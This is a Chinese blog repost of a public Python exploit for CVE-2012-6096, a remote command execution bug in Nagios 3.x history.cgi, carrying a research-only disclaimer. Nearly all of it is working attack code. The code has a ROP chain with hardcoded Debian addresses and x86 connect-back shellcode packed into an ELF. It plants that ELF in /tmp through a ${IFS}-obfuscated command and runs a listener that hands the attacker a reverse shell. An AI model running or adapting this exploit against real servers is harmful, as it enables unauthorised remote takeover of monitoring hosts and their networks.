• Nagios 3.x Remote Command Execution


    测试方法:

    程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
      1 #!/usr/bin/python
      2 #
      3 # CVE-2012-6096 - Nagios history.cgi Remote Command Execution
      4 # ===========================================================
      5 # Another year, another reincarnation of classic and trivial
      6 # bugs to exploit. This time we attack Nagios.. or more
      7 # specifically, one of its CGI scripts. [1]
      8 #
      9 # The Nagios code is an amazing monster. It reminds me a
     10 # lot of some of my early experiments in C, back when I
     11 # still had no clue what I was doing. (Ok, fair enough,
     12 # I still don't, heheh.)
     13 #
     14 # Ok, I'll come clean. This exploit doesn't exactly
     15 # defeat FORTIFY. This approach is likely to work just FINE
     16 # on other crippled distro's though, think of stuff like
     17 # ArchLinux, Slackware, and all those Gentoo kids twiddling
     18 # their CFLAGS. [2] (Oh and hey, BSD and stuff!)
     19 #
     20 # I do some very stupid shit(tm) here that might make an
     21 # exploit coder or two cringe. My sincere apologies for that.
     22 #
     23 # Cold beer goes out to my friends who are still practicing
     24 # this dying but interesting type of art:
     25 #
     26 # * brainsmoke * masc * iZsh * skier_ * steve *
     27 #
     28 # -- blasty <blasty@fail0verflow.com> / 2013-01-08
     29 #
     30 # References:
     31 # [1] http://permalink.gmane.org/gmane.comp.security.oss.general/9109
     32 # [2] http://www.funroll-loops.info/
     33 #
     34 # P.S. To the clown who rebranded my Samba exploit: j00 s0 1337 m4n!
     35 # Next time you rebrand an exploit at least show some diligence and
     36 # add some additional targets or improvements, so we can all profit!
     37 #
     38 # P.P.S. hey, Im not _burning_ bugs .. this is a 2day, enjoy!
     39 #
     40 import os, sys, socket,struct, urllib, threading,SocketServer, time
     41 from base64 import b64encode
     42 SocketServer.TCPServer.allow_reuse_address =True
     43 targets =[
     44 {
     45 "name":"Debian (nagios3_3.0.6-4~lenny2_i386.deb)",
     46 "smash_len":0xc37,
     47 "unescape":0x0804b620,
     48 "popret":0x08048fe4,
     49 "hostbuf":0x080727a0,
     50 "system_plt":0x08048c7c
     51 }
     52 ]
     53 def u32h(v):
     54 returnstruct.pack("<L", v).encode('hex')
     55 def u32(v, hex =False):
     56 returnstruct.pack("<L", v)
     57 # Tiny ELF stub based on:
     58 # http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html
     59 def make_elf(sc):
     60 elf_head = \
     61 "7f454c46010101000000000000000000"+ \
     62 "02000300010000005480040834000000"+ \
     63 "00000000000000003400200001000000"+ \
     64 "00000000010000000000000000800408"+ \
     65 "00800408"+ u32h(0x54+len(sc))*2+ \
     66 "0500000000100000"
     67 return elf_head.decode("hex")+ sc
     68 # interactive connectback listener
     69 class connectback_shell(SocketServer.BaseRequestHandler):
     70 def handle(self):
     71 print"\n[!!] K4P0W!@# -> shell from %s"%self.client_address[0]
     72 print"[**] This shell is powered by insane amounts of illegal substances"
     73 s =self.request
     74 import termios, tty,select, os
     75 old_settings = termios.tcgetattr(0)
     76 try:
     77 tty.setcbreak(0)
     78 c =True
     79 os.write(s.fileno(),"id\nuname -a\n")
     80 while c:
     81 for i inselect.select([0, s.fileno()],[],[],0)[0]:
     82 c = os.read(i,1024)
     83 if c:
     84 if i ==0:
     85 os.write(1, c)
     86 os.write(s.fileno()if i ==0else1, c)
     87 exceptKeyboardInterrupt:pass
     88 finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
     89 return
     90 classThreadedTCPServer(SocketServer.ThreadingMixIn,SocketServer.TCPServer):
     91 pass
     92 if len(sys.argv)!=5:
     93 print"\n >> Nagios 3.x CGI remote code execution by <blasty@fail0verflow.com>"
     94 print" >> \"Jetzt geht's Nagi-los!\"\n"
     95 print" usage: %s <base_uri> <myip> <myport> <target>\n"%(sys.argv[0])
     96 print" targets:"
     97 i =0
     98 for target in targets:
     99 print" %02d) %s"%(i, target['name'])
    100 i = i+1
    101 print""
    102 sys.exit(-1)
    103 target_no =int(sys.argv[4])
    104 if target_no <0or target_no > len(targets):
    105 print"Invalid target specified"
    106 sys.exit(-1)
    107 target = targets[int(sys.argv[4])]
    108 # comment this shit if you want to setup your own listener
    109 server =ThreadedTCPServer((sys.argv[2],int(sys.argv[3])), connectback_shell)
    110 server_thread = threading.Thread(target=server.serve_forever)
    111 server_thread.daemon =True
    112 server_thread.start()
    113 # shellcode to be executed
    114 # vanilla x86/linux connectback written by a dutch gentleman
    115 # close to a decade ago.
    116 cback = \
    117 "31c031db31c951b10651b10151b10251"+ \
    118 "89e1b301b066cd8089c231c031c95151"+ \
    119 "68badc0ded6668b0efb102665189e7b3"+ \
    120 "1053575289e1b303b066cd8031c939c1"+ \
    121 "740631c0b001cd8031c0b03f89d3cd80"+ \
    122 "31c0b03f89d3b101cd8031c0b03f89d3"+ \
    123 "b102cd8031c031d250686e2f7368682f"+ \
    124 "2f626989e3505389e1b00bcd8031c0b0"+ \
    125 "01cd80"
    126 cback = cback.replace("badc0ded", socket.inet_aton(sys.argv[2]).encode("hex"))
    127 cback = cback.replace("b0ef",struct.pack(">H",int(sys.argv[3])).encode("hex"))
    128 # Eww.. so there's some characters that dont survive the trip..
    129 # yes, even with the unescape() call in our return-chain..
    130 # initially I was going to use some /dev/tcp based connectback..
    131 # but /dev/tcp isn't available/accesible everywhere, so instead
    132 # we drop an ELF into /tmp and execute that. The '>' characters
    133 # also doesn't survive the trip so we work around this by using
    134 # the tee(1) utility.
    135 # If your target has a /tmp that is mounted with noexec flag,
    136 # is severely firewalled or guarded by trained (watch)dogs..
    137 # you might want to reconsider this approach!
    138 cmd = \
    139 "rm -rf /tmp/x;"+ \
    140 "echo "+ b64encode(make_elf(cback.decode('hex')))+"|"+ \
    141 "base64 -d|tee /tmp/x|chmod +x /tmp/x;/tmp/x;"
    142 # Spaces (0x20) are also a problem, they always ends up as '+' :-(
    143 # so apply some olde trick and rely on $IFS for argv separation
    144 cmd = cmd.replace(" ","${IFS}")
    145 # Basic return-2-whatever/ROP chain.
    146 # We return into cgi_input_unescape() to get rid of
    147 # URL escaping in a static buffer we control, and then
    148 # we return into system@plt for the moneyshot.
    149 #
    150 # Ergo sum:
    151 # There's no memoryleak or whatever needed to leak libc
    152 # base and bypass ASLR.. This entire Nagios PoS is stringed
    153 # together by system() calls, so pretty much every single one
    154 # of their little silly binaries comes with a PLT entry for
    155 # system(), huzzah!
    156 rop =[
    157 u32(target['unescape']),
    158 u32(target['popret']),
    159 u32(target['hostbuf']),
    160 u32(target['system_plt']),
    161 u32(0xdeafbabe),
    162 u32(target['hostbuf'])
    163 ]
    164 # Yes.. urllib, so it supports HTTPS, basic-auth and whatnot
    165 # out of the box. Building HTTP requests from scratch is so 90ies..
    166 params= urllib.urlencode({
    167 'host': cmd +"A"*(target['smash_len']-len(cmd))+"".join(rop)
    168 })
    169 print"[>>] CL1Q .."
    170 f = urllib.urlopen(sys.argv[1]+"/cgi-bin/history.cgi?%s"%params)
    171 print"[>>] CL4Q .."
    172 f.read()
    173 # TRIAL PERIOD ACTIVE, LOL!
    174 time.sleep(0x666)
    175 server.shutdown()
  • 相关阅读:
    本周读书的感想
    程序员应知——学习、思考与分享
    用设计版面的思想编写漂亮的代码
    程序员应知——你有几种武器
    《明星DBA成长之路》读后随想
    有些东西不可替代
    DB2连接串&DB2客户端连接服务端
    数据库连接字符串备忘大全
    ASP Blob类型转存为Long Raw类型
    Oracle read_csv
  • 原文地址:https://www.cnblogs.com/security4399/p/2862432.html
Copyright © 2020-2023  润新知